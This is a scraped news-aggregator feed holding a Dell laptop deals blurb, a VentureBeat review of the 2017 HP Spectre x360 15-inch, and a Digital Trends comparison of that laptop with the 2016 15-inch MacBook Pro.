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]]> https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-512gb-ssd-for-580/feed/ 0 Dealmaster: Get a 15-inch Dell Inspiron 5000 laptop with 512GB SSD for just $599 https://briefnews.eu/dealmaster-get-a-15-inch-dell-inspiron-5000-laptop-with-512gb-ssd-for-just-599/ https://briefnews.eu/dealmaster-get-a-15-inch-dell-inspiron-5000-laptop-with-512gb-ssd-for-just-599/#respond Wed, 10 May 2017 11:02:31 +0000 http://briefnews.eu/dealmaster-get-a-15-inch-dell-inspiron-5000-laptop-with-512gb-ssd-for-just-599/

Greetings, Arsians! Courtesy of our partners at TechBargains, we’re back with a bunch of new deals to share. Today, you can get a Dell Inspiron 5000 15-inch laptop, complete with 512GB SSD and Windows 10 Pro, for just $ 599. Amazon also just announced its new touchscreen Echo Show speaker and voice-calling machine, and you can preorder it now for $ 229 or preorder two devices and get $ 100 off.

Check out the rest of the deals below, too.

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]]> https://briefnews.eu/dealmaster-get-a-15-inch-dell-inspiron-5000-laptop-with-512gb-ssd-for-just-599/feed/ 0 HP Spectre x360 15-inch (2017) review: Fantastic 4K UHD display and performance https://briefnews.eu/hp-spectre-x360-15-inch-2017-review-fantastic-4k-uhd-display-and-performance/ https://briefnews.eu/hp-spectre-x360-15-inch-2017-review-fantastic-4k-uhd-display-and-performance/#respond Sat, 15 Apr 2017 13:27:18 +0000 http://briefnews.eu/hp-spectre-x360-15-inch-2017-review-fantastic-4k-uhd-display-and-performance/

REVIEW:

HP has come out with a refreshed 15.6-inch Spectre x360 laptop, one with speed and performance that essentially replaces the desktop and will appeal to any creator. With a retail price of $ 1,500, the 2017 edition certainly delivers, with a quality entertainment center and a touch surface to let your imagination go wild.

Armed with a 4K touch display, a 3840×2160 resolution, a 7th-generation Intel Kaby Lake chip (i7-7500U processor), fast charging, and a larger battery, HP has made its 15.6-inch Spectre on par with the 2016 Spectre 13.

Getting to know the 2017 Spectre

In addition to Windows 10 Home, the HP 15.6-inch Spectre comes equipped with a 256GB PCIe NvME M.2 solid-state drive (SSD), 16GB DDR4 SDRAM, ports for USB Type-C Thunderbolt 3, HDMI, USB A, and USB Type-C 3.1 Gen1. HP has packed this computer with the technology necessary to handle your creative needs, be it managing Photoshop, editing photos, word processing, watching videos, playing games, or surfing the web.

Above: The HP Spectre x360 15-inch laptop is thin and powerful.

Image Credit: Michael O’Donnell/VentureBeat

The 15.6-inch Spectre isn’t bulky — it has a thickness of 0.7 inches and weighs in at 4.42 pounds. By itself, that’s not bad, but the 2017 edition is 0.07 inches thicker and 1.22 pounds heavier than its predecessor. This laptop is no brick, but it does have some weight to it, and I could feel it when lugging it around in my backpack to and from the office.

This isn’t a device that you’d want to carry around like a MacBook Air — it certainly isn’t suitable for airplane usage, because it’s so big. But that’s not why HP made this laptop; it’s something that really stands out at the home or office. Just like with the MacBook Pro and the Microsoft Surface Book, the HP Spectre is a premium quality device, not only internally but externally as well.

With an aluminum chassis and a black (“ash silver”) and gold finish, the HP Spectre has a polished look that could be well received by creative professionals. It’s a change from last year’s model, which was only available in HP’s “natural silver” color.

Above: The keyboard and trackpad on the HP Spectre x360 (2017) 15-inch laptop.

Image Credit: Michael O’Donnell/VentureBeat

The keyboard is massive, and there’s no mistaking where the keys are — they take up nearly the entire width of the computer. Typing felt normal, with one exception: You have to account for the fact that on the very end is a column featuring the home, page up, page down, and end buttons that can throw off your typing. Much of this review was typed on the HP Spectre, and the keyboard felt very comfortable to use. There’s 1.5mm of travel and enough space between keys to make it easy to type out a script, email, or document without any problems.

HP provides a backlit keyboard, but you can’t toggle the lighting levels — it’s either on or off.

The trackpad on the 15.6-inch HP Spectre is wide enough that no matter where your hands are on the keyboard, you’ll be able to easily control the cursor. There were times when the cursor would coast randomly across the screen for no apparent reason, an issue that I’ve experienced on at least one other HP laptop. However, when you’re actively steering the cursor with the trackpad, you can still browse the web, use multi-finger gestures to scroll, and move things around.

HP has once again used Bang & Olufsen audio technology in its laptop, with quad speakers, two more than its predecessor. It matches the update the company made with its 13-inch model last year, and the sound quality is pretty good. While there are audio controls on the display and the keyboard, there are also volume controls along the right-hand side of the computer, which come in handy when in tablet mode.

As for battery life, HP boasts that its latest Spectre laptop contains a larger lithium-ion battery with six cells and 79.2Wh that HP says will last up to 13 hours. It supports fast charging and, the company claims, will achieve 50 percent capacity within 30 minutes. After I drained the battery and then charged it, this wasn’t quite the case — it took a few minutes longer to reach the 50 percent mark. But that’s not a deal-breaker.

When the battery was fully charged and I used the HP Spectre unplugged, the computer lasted at least nine hours with normal usage such as browsing the internet, writing articles, checking emails, listening to Spotify, having a Google Hangouts video call, and watching YouTube. During my time with the HP Spectre, I have not experienced any issue where the bottom of the device becomes too hot or the fans begin to whirl audibly.

When making a video call, HP’s Bang & Olufsen audio app has a noise cancellation option that lets people you’re talking to hear only you or multiple people around you. Where this comes in handy is largely determined by the environment you’re in — if you’re in a Starbucks or a loud co-working space, for example, having HP noise cancellation set to only pick up your voice would be helpful. But if you’re in a group chat with others next to you, being able to pick up multiple voices will help.

The problem with this is that HP has buried this feature in an app most people probably won’t readily know where to find — you have to find the HP Audio Switch in the taskbar, select “Bang & Olufsen Audio Control”, and then the “Input” section in the app. It would be great to have this option within the volume control, or at least a link to it.

The Spectre’s camera is decent, with a 1080p resolution. It’s suitable for selfie photos and amateur videos, but if you want better quality, invest in a camera.

Above: Sample photo taken from the camera on the HP Spectre x360 (2017) 15-inch laptop.

Image Credit: Ken Yeung/VentureBeat

HP has also equipped this premium laptop with Orbit, its app that lets you share files between the computer and mobile devices. This can be helpful, especially if you take a video on your iPhone or Android device and want to broadcast that onto a larger screen — HP Orbit can let you impress your friends with the quality display of the HP Spectre.

Impressive display but so-so stylus

Speaking of the display, perhaps what impressed me the most about the 2017 15.6-inch HP Spectre is the display, which provides an immersive experience no matter whether you’re playing a game, watching a video, having a video call, designing, or simply using a web browser.

HP claimed that feedback it received from the previous version was a request for a higher-resolution display. The 2017 model not only supports 4K at a 3840×2160 resolution (compared to last year’s full high-definition 1920×1080 or quad high-definition 2560×1440 resolution), but it also includes a narrow border display so your experience isn’t cut off by the borders of the laptop. At times, I felt it was like watching a widescreen version of a movie — it really draws you in.

Above: The HP Spectre x360 (2017) 15-inch laptop has a 4K UHD display that makes watching videos really worthwhile.

Image Credit: Michael O’Donnell/VentureBeat

Having a micro-edge display with 4.65 millimeters on both sides provides additional screen real estate for those who want a larger canvas to draw on using the HP stylus or who just want more space to be better organized. HP claimed in a survey it commissioned that the majority of people who prefer a 15-inch display want a high-resolution display with thin bezels.

Because it’s a convertible tablet, you can position the HP Spectre in several ways: as a traditional laptop, as a tablet, in tent mode, and any other way you deem appropriate. This is helpful when you want to watch your favorite movie or show from Netflix, Hulu, or Amazon and don’t like having a keyboard between you and the screen.

An issue I had with the touch display is how easy it was to get fingerprint smudges on the screen, causing me to constantly having to wipe it down. One thing that helped was the use of the HP stylus that comes with the laptop.

Above: The HP Spectre x360 (2017) 15-inch laptop in tablet mode with stylus.

Image Credit: Michael O’Donnell/VentureBeat

The stylus isn’t a small S-Pen that you’d have with a Samsung device, but the equivalent of a pen or pencil that an artist would use to draw their masterpiece. There’s some weight to the stylus, and it’s built in a way you don’t worry about it snapping in half.

One qualm is that it requires AAAA batteries — it was an adventure to find a store that had them in stock. But that aside, if you want more control over your on-screen creativity, be it using Photoshop, Illustrator, or Adobe Premiere, than a mouse can provide, the stylus should work for you, especially when you’re using the Spectre in tablet mode.

On the body of the stylus are two buttons, the equivalent of the left and right buttons on a mouse. The HP Spectre includes an app that lets you modify the purpose of each button to suit your workflow. What I appreciated about the Samsung’s S-Pen is that there was a launcher constantly on screen that you can select to take screenshots, make immediate annotations, and do other things. HP’s stylus requires at least a couple of extra steps.

Above: The stylus that comes with the HP Spectre x360 (2017) 15-inch laptop.

Image Credit: Michael O’Donnell/VentureBeat

Palm rejection technology on the display lets you rest your hand on the screen without leaving a mark as you use the stylus. However, pressure sensitivity does not appear to be available, so the size of your brush or pencil stroke will be the same no matter how hard you’re pushing the stylus into the screen.

Judging the HP Spectre

Overall if you’re looking for a quality laptop to replace your desktop or something that you can use in your role as a creative professional, then the HP Spectre 15.6-inch convertible laptop is worth exploring. At a starting price of $ 1,500, it’s not a cheap device, but, given its capabilities, it should last for quite a few years.

Some of the benefits of having this computer is the 4K display, its audio quality, the battery life, and the performance. The camera could use a bit more work and the stylus could be a bit better, but after weeks of using the HP Spectre, I didn’t find anything that was a deal-breaker.

VentureBeat

]]> https://briefnews.eu/hp-spectre-x360-15-inch-2017-review-fantastic-4k-uhd-display-and-performance/feed/ 0 Thicker or thinner: 2017 HP Spectre x360 15 vs. 2016 15-inch MacBook Pro https://briefnews.eu/thicker-or-thinner-2017-hp-spectre-x360-15-vs-2016-15-inch-macbook-pro/ https://briefnews.eu/thicker-or-thinner-2017-hp-spectre-x360-15-vs-2016-15-inch-macbook-pro/#respond Sat, 18 Feb 2017 15:13:11 +0000 http://briefnews.eu/thicker-or-thinner-2017-hp-spectre-x360-15-vs-2016-15-inch-macbook-pro/ The introduction of the 2016 MacBook Pro was met with a fair amount of criticism, not to mention excitement over the introduction of the Apple’s OLED Touch Bar. The new MacBook Pros are thinner than ever, and, in turn, give up legacy ports, opt for a second-gen keyboard, and house smaller batteries.

More: Apple’s MacBook Pro is too thin, and HP can prove it

HP went in the opposite direction with its refresh of the Spectre x360 15, however, outfitting the Windows 2-in-1 with a thicker chassis designed to accommodate a larger battery, thus allowing it to power the machine’s 4K UHD display. Adding thickness also lets HP outfit the machine with an excellent full-travel keyboard and a few legacy ports to go along with the device’s USB Type-C connections.

Which approach — thicker or thinner — results in the best machine, though? Read on to find out whether it’s the HP Spectre x360 15 or the 2016 15-inch MacBook Pro that benefits the most from the recent design changes.

Specs

MacBook Pro 15-inch

HP Spectre x360 15
Dimensions  13.75 x 9.48 x .61 (in) 14.00 x 9.88 x .70 (in)
Weight  4.02 pounds 4.42 pounds
Processor  6th Generation Intel Core i7 quad-core 7th Generation Intel Core i7 dual-core
RAM  16GB LPDDR3 8 or 16GB DDR4
Display 15.6-inch IPS display 15.6-inch IPS touchscreen
Resolution 2,880 x 1,800 3,840 x 2,160
Storage 256GB, 512GB, 1TB, 2TB PCIe SSD 256GB, 512GB, 1TB PCIe SSD
Networking 802.11ac, Bluetooth 4.2 802.11ac, Bluetooth 4.2
Ports 4 x Thunderbolt 3, 3.5mm 1 x USB 3.0, 1 x USB Type-C, 1 x USB Type-c with Thunderbolt 3, 1 x HDMI, Headset, SD Card reader
Webcam 720p FaceTime HD 1080p webcam with IR camera and Windows Hello support
Operating System MacOS Sierra Windows 10
Battery 76 watt-hours 79.2 watt-hours
Price $ 2,399+ $ 1,280+
Availability Available now Available late-February
Review Hands-on 4 out of 5 stars

One battery got smaller, the other got bigger

The new 15-inch MacBook Pro is significantly thinner than its predecessor, coming in at 0.61 inches compared to 0.71 inches — a 14 percent reduction. The display bezels are also thinner, meaning all dimensions are smaller. It weighs 4.09 pounds, too, which makes it almost a half a pound lighter than the previous model. The Spectre x360, on the other hand, got a little thicker, but also lost some width thanks to thinner bezels. The thicker chassis results in increased weight, though, bringing the laptop to 4.42 pounds.

Apple’s thinner design resulted in a 24-percent reduction in battery capacity, taking it from 97 watt-hours to 76 watt-hours. While we haven’t tested battery life on the 15-inch model, the 13-inch MacBook Pro with Touch Bar — which touts similar battery life — provided only average longevity compared with similar Windows 10 machines. While Apple is very good at squeezing the most efficiency out of its MacOS software and hardware, and even given the move to more power-efficient CPUs, such a significant decrease in battery size likely means that the 15-inch MacBook Pro will perform in similar fashion.

The HP Spectre x360 15, on the other hand, added a little thickness and increased battery capacity by 23 percent, from 64.5 watt-hours to 79.2 watt-hours. The new machine also utilizes Intel’s seventh-generation CPUs. Both improvements help HP meet its goal of ensuring the new model and its 4K UHD display will last as long as last year’s Full HD version. HP promises up to 12 hours and 45 minutes of battery life, though, our own test results show a little over 10 hours. Still, the Spectre x360 15 manages to hold its own against machines with smaller displays and lower resolution.

HP Spectre x360 15 review

Mark Coppock/Digital Trends

That doesn’t mean that the Spectre x360 beats out the MacBook Pro in terms of battery life. Apple’s efficiency and the display’s lower resolution means that the Spectre x360 15 likely loses this round, although not by much. Both offer enough battery life to last a typical work day — depending on the workload — but we can only imagine how much longer the MacBook Pro would last if Apple had kept battery capacity the same.

Winner: 2016 15-inch MacBook Pro, but by less than might have been

Old design vs. new design

Apple maintained the classic MacBook Pro appearance with its newest iteration, opting for the same aluminum chassis and elegant, understated design that adorned its predecessor. The new MacBook Pro looks a lot like the old MacBook Pro, only it’s thinner and comes with smaller bezels. It’s a good look that fits well in any professional environment, but at this point, it’s getting a little stale.

Apple supersized the touchpad, however, making 50-percent larger and outfitting it with the company’s Force Touch technology. But, the company squished the keyboard, leaving users either loving the second-gen keyboard or lamenting the loss of the old-school MacBook Pro keyboard. Nonetheless, the most significant addition is the Touch Bar, which functions as an OLED touchscreen display. The component resides above the keyboard — displacing the physical function keys — and responds to the application at hand with task-specific buttons.

HP, on the other hand, took the silver chassis on last year’s Spectre x360 15 and gave it a paint job. This year’s model touts a darker exterior with copper accents. As with all such aesthetic decisions, some might love it and some might hate it, but we think it’s an equally elegant look that’s classy without blending into the sea of Windows 10 machines.

HP’s decision to increase thickness a bit means the Spectre x360 15 has a full-travel keyboard that makes for an extremely comfortable typing experience. The touchpad is also fairly large, with the same widescreen aspect ratio as the display. Most important, though, is that the Spectre x360 15 is also a 2-in-1 with a touchscreen and an active pen. It offers the always-convenient presentation and tent modes, along with occasional tablet use that leverages the excellent pen with Windows 10 Ink support. And a 10-point multitouch display beats out a narrow OLED strip any day.

Both machines are well-built and exude quality. We think the HP’s design is fresher and more striking, though, and its 2-in-1 design and excellent keyboard give it the nod over Apple’s somewhat outdated MacBook Pro and its too-shallow keyboard. The MacBook Pro is a bit smaller and lighter, but that’s not enough to make up for what it compromises in the name of being so thin.

Winner: HP Spectre x360 15

Hardware

The quad-core version of Intel’s seventh-generation Core i7 processors wasn’t available in time for the release of the 2016 MacBook Pro. Instead, the machine utilizes the sixth-generation Core i7-6920HQ. A standard 16GB of LPDDR3-2133 RAM is the only option, though the machine can be configured with a 2TB SSD. You can also outfit it with a AMD Radeon Pro 460 and 4GB of GDDR5 memory, switchable with the Intel HD Graphics 530.

More: Teardown shows 15-inch MacBook Pro (2016) is as hard to repair as its smaller siblings

The HP Spectre x360 15 is a decidedly mid-range system, with a seventh-generation Intel Core i7-7500U dual-core processor. You can configure it with up to 16GB of DDR4-2133 RAM and 1TB SSD, though the only graphics option is an Nvidia GeForce GTX 940MX, which goes along with the Intel HD Graphics 620.

In short, the MacBook Pro is a more powerful machine with higher-end CPU and GPU options — and this is in spite of its last-gen processor. The Spectre x360 15 is no slouch, however, and performs well for its class while offering the same amount of RAM as Apple’s machine and a large SSD. It’s not as large as the highest-end MacBook Pro configuration, but it’s certainly not terrible.

The MacBook Pro is definitely the faster performer and will crunch through massive images and videos significantly more quickly than the Spectre x360 15. If you’re looking for professional power, then Apple’s machine is the better option.

Winner: 15-inch Macbook Pro

Holding on to the past and letting go

Another casualty of Apple’s pursuit of thinness is connectivity, or maybe it’s Apple’s usual desire to push the envelope and adopt the latest technology as a means of killing off legacy devices. Regardless, the MacBook Pro completely eschews legacy connections and includes four USB Type-C ports. All of the ports support Thunderbolt 3, too, rendering them the highest-performing and most versatile ports around. That also means that you’ll need dongles — and lots of them — to support literally all of your legacy USB, HDMI, or DisplayPort peripherals.

HP, on the other hand, took a step into the future while keeping a foot in the past. The Spectre x360 15 has two USB Type-C ports, one of which supports Thunderbolt 3, along with a USB 3.0 port and a full-size HDMI connection. HP also retained the SD card reader, something else that Apple dropped from the MacBook Pro, much to the consternation of some Mac users.

If you only plan on plugging in USB Type-C devices, or are perfectly fine with purchasing and carrying around a number of dongles, then you’ll appreciate Apple’s decision to stuff four Thunderbolt 3 ports into the MacBook Pro. If you still have legacy devices you need to plug in, or don’t want to be stuck without a dongle while you’re on the road, then the Spectre x360 15 is the better choice. Personally, we think keeping in touch with the past is a good idea, and it’ll be a few years before legacy devices disappear altogether.

Winner: Spectre x360 15

Display

The MacBook Pro has an excellent, 15.6-inch IPS display that boasts 500 nits of brightness and an extremely wide color gamut that meets the P3 specification. That means it’s a gorgeous display that’s capable of meeting the needs of most creative professionals. It also meets Apple’s Retina designation at a resolution of 2,880 x 1,800, or 220 pixels per inch. Simply put, it’s a lovely display.

MacBook Pro 15

Malarie Gokey/Digital Trends

HP put a good, but not great, 15.6-inch IPS display in the Spectre x360 15. It’s not nearly as bright, with HP claiming 340 nits of brightness, and our tests concluded that it offers 74-percent AdobeRGB and 95-percent sRGB color gamut support. It’s a 4K UHD display with 3,840 x 2,160-pixel resolution, however, with 282 pixels per inch. Its perfect gamma of 2.2 — according to our tests — means that images and video are neither too bright or too dark. Watching movies at 4K resolution with the Spectre x360 15 in presentation mode is a real treat, and the display is good enough for all but the most discerning creative professionals.

Mark Coppock/Digital Trends

If you need a high-quality display with good resolution and professional color support, then the MacBook Pro beats out the Spectre x360 15’s higher-resolution, 4K panel. If your needs skew to watching movies and general productivity, then the Spectre x360 15 is a good choice. We’ll give the nod to the Apple here, but the HP has nothing to be ashamed of.

Winner: 15-inch MacBook Pro

Availability and price

Apple’s “pro” moniker is no joke, with the MacBook Pro taking its place among the most expensive notebooks outside of insanely configured gaming systems. The entry-level model with the Core i7-6700HQ, 16GB RAM, 256GB SSD, and AMD Radeon Pro 450 is priced at $ 2,399. With a 512GB SSD to match the HP’s configuration, the price is $ 2,599. The most expensive MacBook Pro is firmly in the stratosphere, given it costs $ 4,299 for a Core i7-6920HQ, 16GB RAM, 2TB SSD, and AMD Radeon Pro 460.

HP’s Spectre x360 15 is a more affordable system. The low-end machine with the Core i7-7500U, 8GB RAM, and 256GB SSD runs $ 1,280. The machine with 16GB RAM and a 512GB SSD is priced at $ 1,500, or about $ 1,100 less than the MacBook Pro. The most you’ll spend on the Spectre x360 15 is $ 1,700, and that will net you the 1TB SSD version.

More: What’s the best MacBook for your money? Hint — you can forget the Touch Bar

Again, if you need the quad-core processor, higher-spec’d GPU, and professional color afforded by the MacBook Pro, then you’re likely willing to spend the money. Like many other MacBook Pro users, however, you might be disappointed by some of Apple’s design decisions and the lack of a 32GB RAM configuration. The HP Spectre x360 15 offers a great deal for the money, making it a tremendous value.

In the end, we have to give the nod to the HP for the vast majority of people. At a significantly lower price point, the Spectre x360 15 represents a great system for a lot less money, and better meets the needs of its target market. Apple will likely have to take more aggressive steps to make a MacBook Pro that’s more suitable for the professional users the company seems to be targeting.

Winner: Spectre x360 15

Conclusion

We’re comparing two machines that are each the latest revisions of existing lines. In some ways, they’re significant revisions, with both companies changing the form factors in terms of size and weight and impacting each machine’s functionality.

Apple went thinner and lighter, and in turn reduced the functionality of a professional machine. Battery life was compromised, the luscious full-travel keyboard was swapped out for something far less comfortable, and while it’s a future-looking machine in terms of connectivity, it completely left the past behind. Apple also failed to move the machine forward for its highest-end, dare we say most professional users, by sticking with last-gen CPUs, failing to up the GPU specifications, and leaving out a 32GB RAM configuration. The Touch Bar is a nice touch, but there’s not much that’s both new and a significant step forward.

More: The best laptop you can buy

HP, on the other hand, added a little thickness and weight but provided a ton of value and a machine that’s well-suited for the vast majority of users. It won’t meet the needs of the same power users who are unhappy with the new MacBook Pro, but then again, it’s not playing to that market. Instead, it’s aimed at creative professionals and mainstream users who want a lovely 4K display, very good performance, usable battery life, and who don’t want to spend an arm and a leg for any of it.

We tend to think HP took the right path with the Spectre x360 15, better meeting the needs of its target market and as HP itself would say, providing a more optimized, rather than compromised, solution. Apple, on the other hand, went somewhere else with the latest MacBook Pro, ultimately failing to meet the needs of the customers who most desire the machine while pricing out many users who might appreciate its svelte frame and functional compromises. For that reason, we think the HP Spectre x360 15 is the winner of this shootout.

Digital Trends

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